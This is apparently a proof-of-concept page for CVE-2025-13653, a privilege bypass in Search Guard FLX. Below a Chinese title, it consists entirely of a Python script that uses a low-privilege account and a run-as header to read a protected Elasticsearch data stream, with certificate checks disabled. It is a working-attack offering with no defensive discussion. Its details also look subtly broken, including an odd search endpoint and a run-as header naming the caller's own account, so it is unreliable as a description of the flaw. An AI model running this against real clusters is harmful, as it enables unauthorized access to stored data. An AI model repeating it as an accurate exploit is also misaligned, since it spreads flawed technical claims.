CVE-2025-13653 Search Guard FLX 权限绕过漏洞

# CVE-2025-13653 PoC - Search Guard FLX Privilege Bypass # Affected versions: Search Guard FLX 3.1.0 - 4.0.0 (with enterprise modules disabled) # This PoC demonstrates unauthorized data stream document access import requests from requests.auth import HTTPBasicAuth TARGET = "https://<elasticsearch-host>:9200" USERNAME = "low_privilege_user" PASSWORD = "user_password" DATA_STREAM_NAME = "sensitive-data-stream" headers = { "Content-Type": "application/json", "es-security-runas-user": USERNAME } auth = HTTPBasicAuth(USERNAME, PASSWORD) print("[*] Testing CVE-2025-13653 - Search Guard FLX Privilege Bypass") print(f"[*] Target: {TARGET}") print(f"[*] User: {USERNAME}") print(f"[*] Data Stream: {DATA_STREAM_NAME}") # Attempt to read documents from protected data stream endpoint = f"{TARGET}/_data_stream/{DATA_STREAM_NAME}/_search" try: response = requests.get(endpoint, headers=headers, auth=auth, verify=False, timeout=10) print(f"\n[+] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() if "hits" in data: print("[!] VULNERABLE: Successfully accessed data stream without proper privileges") print(f"[!] Documents retrieved: {len(data['hits']['hits'])}") else: print("[*] Response received but format unexpected") elif response.status_code == 403: print("[+] SECURE: Access denied (expected behavior)") else: print(f"[*] Unexpected status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")